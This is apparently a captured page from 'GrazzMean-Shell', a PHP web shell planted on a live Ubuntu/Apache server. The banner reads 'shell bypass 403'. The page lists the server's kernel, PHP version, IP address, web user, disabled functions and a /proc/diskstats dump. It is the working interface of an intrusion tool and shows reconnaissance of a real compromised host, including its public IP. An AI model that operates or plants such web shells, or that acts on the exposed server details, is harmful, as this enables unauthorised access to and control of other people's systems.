shell bypass 403

GrazzMean-Shell Shell

: /proc/ [ dr-xr-xr-x ]
Uname: Linux wputd 5.4.0-200-generic #220-Ubuntu SMP Fri Sep 27 13:19:16 UTC 2024 x86_64
Software: Apache/2.4.41 (Ubuntu)
PHP version: 7.4.3-4ubuntu2.24 [ PHP INFO ] PHP os: Linux
Server Ip: 158.69.144.88
Your Ip: 3.16.50.1
User: www-data (33) | Group: www-data (33)
Safe Mode: OFF
Disable Function:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,

name : diskstats
   7       0 loop0 1680 0 4260 1918 0 0 0 0 0 548 828 0 0 0 0
   7       1 loop1 202 0 1304 54 0 0 0 0 0 192 4 0 0 0 0
   7       2 loop2 102 0 2536 54 0 0 0 0 0 148 8 0 0 0 0
   7       3 loop3 140 0 2628 109 0 0 0 0 0 232 16 0 0 0 0
   7       4 loop4 82 0 1070 51 0 0 0 0 0 120 12 0 0 0 0
   7       5 loop5 1426 0 3758 392 0 0 0 0 0 276 4 0 0 0 0
   7       6 loop6 1 0 2 0 0 0 0 0 0 4 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
  11       0 sr0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   8       0 sda 9336195 2930230 164851663 7347786 8747756 9463647 174031866 29032982 0 3527180 18599908 209 0 41126288 634
   8       1 sda1 11658 1312 52022 21310 2 0 2 2 0 1164 4704 12 0 11570928 34
   8       2 sda2 2517 1501 461816 2129 1016 279 593200 19545 0 4088 18224 19 0 3614328 44
   8       3 sda3 9320858 2927417 164301196 7323903 8465934 9463368 173438664 28796410 0 3500820 18550848 178 0 25941032 555
 253       0 dm-0 12246905 0 163871894 10487956 18189029 0 175176496 114226880 0 3606636 124715392 178 0 25941032 556
© 2025 GrazzMean-Shell